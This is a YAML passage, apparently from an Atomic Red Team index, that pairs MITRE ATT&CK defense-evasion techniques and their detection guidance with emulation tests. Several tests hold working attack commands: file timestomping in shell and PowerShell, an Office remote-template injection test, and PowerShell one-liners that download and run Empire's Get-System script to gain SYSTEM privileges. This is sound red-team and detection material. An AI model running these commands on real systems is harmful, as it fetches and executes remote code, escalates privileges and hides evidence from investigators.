          July 20, 2018.
        source_name: Anomali Template Injection MAR 2018
      - url: https://blog.talosintelligence.com/2017/07/template-injection.html
        description: Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure
          Leverages Template Injection. Retrieved July 21, 2018.
        source_name: Talos Template Injection July 2017
      - url: https://github.com/ryhanson/phishery
        description: Hanson, R. (2016, September 24). phishery. Retrieved July 21,
          2018.
        source_name: ryhanson phishery SEPT 2016
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-04-29T14:37:59.462Z'
      created: '2018-10-17T00:14:20.652Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Analyze process behavior to determine if an Office application
        is performing actions, such as opening network connections, reading files,
        spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)),
        or other suspicious actions that could relate to post-compromise behavior.'
      x_mitre_defense_bypassed:
      - Static File Analysis
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_contributors:
      - Brian Wiltse @evalstrings
      - Patrick Campbell, @pjcampbe11
      x_mitre_version: '1.2'
      identifier: T1221
    atomic_tests:
    - name: WINWORD Remote Template Injection
      auto_generated_guid: 1489e08a-82c7-44ee-b769-51b72d03521d
      description: "Open a .docx file that loads a remote .dotm macro enabled template
        from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm
        \nExecutes the code specified within the .dotm template.\nRequires download
        of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx.
        \ \nDefault docs file opens Calculator.exe when test sucessfully executed,
        while AV turned off.\n"
      supported_platforms:
      - windows
      input_arguments:
        docx_file:
          description: Location of the test docx file on the local filesystem.
          type: Path
          default: PathToAtomicsFolder\T1221\src\Calculator.docx
      dependency_executor_name: powershell
      dependencies:
      - description: ''
        prereq_command: ''
        get_prereq_command: ''
      executor:
        command: 'start #{docx_file}

'
        name: command_prompt
  T1055.003:
    technique:
      created: '2020-01-14T01:28:32.166Z'
      modified: '2020-11-10T18:29:30.941Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6
      description: "Adversaries may inject malicious code into hijacked processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        Thread Execution Hijacking is a method of executing arbitrary code in the
        address space of a separate live process. \n\nThread Execution Hijacking is
        commonly performed by suspending an existing process then unmapping/hollowing
        its memory, which can then be replaced with malicious code or the path to
        a DLL. A handle to an existing victim process is first created with native
        Windows API calls such as <code>OpenThread</code>. At this point the process
        can be suspended then written to, realigned to the injected code, and resumed
        via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>,
        <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012)
        but targets an existing process rather than creating a process in a suspended
        state.  \n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via Thread Execution Hijacking may also evade detection from security
        products since the execution is masked under a legitimate process. "
      name: Thread Execution Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055.003
        url: https://attack.mitre.org/techniques/T1055/003
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
    atomic_tests: []
  T1055.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.005
        url: https://attack.mitre.org/techniques/T1055/005
      - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
          Retrieved December 18, 2017.
        source_name: FireEye TLS Nov 2017
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Thread Local Storage
      description: "Adversaries may inject malicious code into processes via thread
        local storage (TLS) callbacks in order to evade process-based defenses as
        well as possibly elevate privileges. TLS callback injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nTLS callback injection involves manipulating pointers inside a portable
        executable (PE) to redirect a process to malicious code before reaching the
        code's legitimate entry point. TLS callbacks are normally used by the OS to
        setup and/or cleanup data used by threads. Manipulating TLS callbacks may
        be performed by allocating and writing to specific offsets within a process’
        memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055)
        techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation:
        FireEye TLS Nov 2017)\n\nRunning code in the context of another process may
        allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via TLS callback injection may also evade detection
        from security products since the execution is masked under a legitimate process. "
      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:30.984Z'
      created: '2020-01-14T01:30:41.092Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1497.003:
    technique:
      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
      description: |-
        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.

        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
      name: Time Based Evasion
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1497.003
        url: https://attack.mitre.org/techniques/T1497/003
      - source_name: ISACA Malware Tricks
        url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-01T15:48:28.345Z'
      created: '2020-03-06T21:11:11.225Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Deloitte Threat Library Team
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: 'Time-based evasion will likely occur in the first steps
        of an operation but may also occur throughout as an adversary learns the environment.
        Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as lateral movement,
        based on the information obtained. Detecting actions related to virtualization
        and sandbox identification may be difficult depending on the adversary''s
        implementation and monitoring required. Monitoring for suspicious processes
        being spawned that gather a variety of system information or perform other
        forms of Discovery, especially in a short period of time, may aid in detection. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      - Anti-virus
    atomic_tests: []
  T1070.006:
    technique:
      created: '2020-01-31T12:42:44.103Z'
      modified: '2020-03-29T21:39:46.724Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611
      description: |-
        Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

        Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
      name: Timestomp
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1070.006
        url: https://attack.mitre.org/techniques/T1070/006
      - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
        description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use
          of Anti-Forensics Techniques. Retrieved June 3, 2016.'
        source_name: WindowsIR Anti-Forensic Techniques
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Metadata'
      x_mitre_detection: 'Forensic techniques exist to detect aspects of files that
        have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques)
        It may be possible to detect timestomping using file modification monitoring
        that collects information on file handle opens and can compare timestamp values.'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_permissions_required:
      - root
      - SYSTEM
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Romain Dumont, ESET
      identifier: T1070.006
    atomic_tests:
    - name: Set a file's access timestamp
      auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810
      description: 'Stomps on the access timestamp of a file

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_filename:
          description: Path of file that we are going to stomp on last access time
          type: Path
          default: "/opt/filename"
      executor:
        command: 'touch -a -t 197001010000.00 #{target_filename}

'
        name: sh
    - name: Set a file's modification timestamp
      auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52
      description: 'Stomps on the modification timestamp of a file

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_filename:
          description: Path of file that we are going to stomp on last access time
          type: Path
          default: "/opt/filename"
      executor:
        command: 'touch -m -t 197001010000.00 #{target_filename}

'
        name: sh
    - name: Set a file's creation timestamp
      auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b
      description: |
        Stomps on the create timestamp of a file

        Setting the creation timestamp requires changing the system clock and reverting.
        Sudo or root privileges are required to change date. Use with caution.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_filename:
          description: Path of file that we are going to stomp on last access time
          type: Path
          default: "/opt/filename"
      executor:
        command: |
          NOW=$(date)
          date -s "1970-01-01 00:00:00"
          touch #{target_filename}
          date -s "$NOW"
          stat #{target_filename}
        name: sh
    - name: Modify file timestamps using reference file
      auto_generated_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50
      description: |
        Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

        This technique was used by the threat actor Rocke during the compromise of Linux web servers.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        target_file_path:
          description: Path of file to modify timestamps of
          type: Path
          default: "/opt/filename"
        reference_file_path:
          description: Path of reference file to read timestamps from
          type: Path
          default: "/bin/sh"
      executor:
        command: 'touch -acmr #{reference_file_path} #{target_file_path}

'
        name: sh
    - name: Windows - Modify file creation timestamp with PowerShell
      auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c
      description: |
        Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.
        To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
      supported_platforms:
      - windows
      input_arguments:
        target_date_time:
          description: Date/time to replace original timestamps with
          type: String
          default: 01/01/1970 00:00:00
        file_path:
          description: Path of file to change creation timestamp
          type: Path
          default: "$env:TEMP\\T1551.006_timestomp.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'A file must exist at the path (#{file_path}) to change the creation
          time on

'
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Path #{file_path} -Force | Out-Null
          Set-Content #{file_path} -Value "T1551.006 Timestomp" -Force | Out-Null
      executor:
        command: 'Get-ChildItem #{file_path} | % { $_.CreationTime = "#{target_date_time}"
          }

'
        cleanup_command: 'Remove-Item #{file_path} -Force -ErrorAction Ignore

'
        name: powershell
    - name: Windows - Modify file last modified timestamp with PowerShell
      auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2
      description: |
        Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.
        To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
      supported_platforms:
      - windows
      input_arguments:
        target_date_time:
          description: Date/time to replace original timestamps with
          type: String
          default: 01/01/1970 00:00:00
        file_path:
          description: Path of file to change modified timestamp
          type: Path
          default: "$env:TEMP\\T1551.006_timestomp.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'A file must exist at the path (#{file_path}) to change the modified
          time on

'
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Path #{file_path} -Force | Out-Null
          Set-Content #{file_path} -Value "T1551.006 Timestomp" -Force | Out-Null
      executor:
        command: 'Get-ChildItem #{file_path} | % { $_.LastWriteTime = "#{target_date_time}"
          }

'
        cleanup_command: 'Remove-Item #{file_path} -Force -ErrorAction Ignore

'
        name: powershell
    - name: Windows - Modify file last access timestamp with PowerShell
      auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62
      description: |
        Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.
        To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
      supported_platforms:
      - windows
      input_arguments:
        target_date_time:
          description: Date/time to replace original timestamps with
          type: String
          default: 01/01/1970 00:00:00
        file_path:
          description: Path of file to change last access timestamp
          type: Path
          default: "$env:TEMP\\T1551.006_timestomp.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'A file must exist at the path (#{file_path}) to change the last
          access time on

'
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Path #{file_path} -Force | Out-Null
          Set-Content #{file_path} -Value "T1551.006 Timestomp" -Force | Out-Null
      executor:
        command: 'Get-ChildItem #{file_path} | % { $_.LastAccessTime = "#{target_date_time}"
          }

'
        cleanup_command: 'Remove-Item #{file_path} -Force -ErrorAction Ignore

'
        name: powershell
    - name: Windows - Timestomp a File
      auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43
      description: "Timestomp kxwn.lock.\n\nSuccessful execution will include the
        placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify
        the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n"
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path for timestomp payload
          type: String
          default: "$env:appdata\\Microsoft"
      dependency_executor_name: powershell
      dependencies:
      - description: 'timestomp.ps1 must be present in #{file_path}.

'
        prereq_command: 'if (Test-Path #{file_path}\timestomp.ps1) {exit 0} else {exit
          1}

'
        get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1"
          -OutFile "#{file_path}\timestomp.ps1"

'
      - description: 'kxwn.lock must be present in #{file_path}.

'
        prereq_command: 'if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else
          {exit 1}

'
        get_prereq_command: 'New-Item -Path #{file_path}\kxwn.lock -ItemType File

'
      executor:
        command: |
          import-module #{file_path}\timestomp.ps1
          timestomp -dest "#{file_path}\kxwn.lock"
        cleanup_command: |-
          Remove-Item #{file_path}\timestomp.ps1 -ErrorAction Ignore
          Remove-Item #{file_path}\kxwn.lock -ErrorAction Ignore
        name: powershell
  T1134.001:
    technique:
      created: '2020-02-18T16:39:06.289Z'
      modified: '2020-03-26T21:29:18.608Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d
      description: |-
        Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.

        An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.
      name: Token Impersonation/Theft
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1134.001
        url: https://attack.mitre.org/techniques/T1134/001
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1134.001
    atomic_tests:
    - name: Named pipe client impersonation
      auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

        Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
        name: powershell
        elevation_required: true
    - name: "`SeDebugPrivilege` token duplication"
      auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
        name: powershell
        elevation_required: true
  T1205:
    technique:
      created: '2018-04-18T17:59:24.739Z'
      modified: '2021-02-17T14:23:49.495Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1205
        url: https://attack.mitre.org/techniques/T1205
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: FireEye - Synful Knock
        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Bleeping Computer - Ryuk WoL
        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
          To Encrypt Offline Devices. Retrieved February 11, 2021.
      - source_name: AMD Magic Packet
        url: https://www.amd.com/system/files/TechDocs/20213.pdf
        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
          Retrieved February 17, 2021.
      - source_name: GitLab WakeOnLAN
        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
          17, 2021.
      description: |-
        Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

        Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

        On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

        Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)
      name: Traffic Signaling
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
      revoked: false
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.2'
      x_mitre_defense_bypassed:
      - Defensive network service scanning
      x_mitre_detection: |-
        Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

        The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_contributors:
      - Josh Day, Gigamon
    atomic_tests: []
  T1127:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1127
        url: https://attack.mitre.org/techniques/T1127
      - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
        description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting
          By Using dnx.exe. Retrieved May 25, 2017.
        source_name: engima0x3 DNX Bypass
      - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
        description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting
          By Using rcsi.exe. Retrieved May 26, 2017.
        source_name: engima0x3 RCSI Bypass
      - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
        description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting
          by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.
        source_name: Exploit Monday WinDbg
      - source_name: LOLBAS Tracker
        url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
        description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.
      description: 'Adversaries may take advantage of trusted developer utilities
        to proxy execution of malicious payloads. There are many utilities used for
        software development related tasks that can be used to execute code in various
        forms to assist in development, debugging, and reverse engineering.(Citation:
        engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday
        WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with
        legitimate certificates that allow them to execute on a system and proxy execution
        of malicious code through a trusted process that effectively bypasses application
        control solutions.'
      name: Trusted Developer Utilities Proxy Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b
      type: attack-pattern
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      modified: '2021-03-05T22:25:49.118Z'
      created: '2017-05-31T21:31:39.262Z'
      x_mitre_version: '1.2'
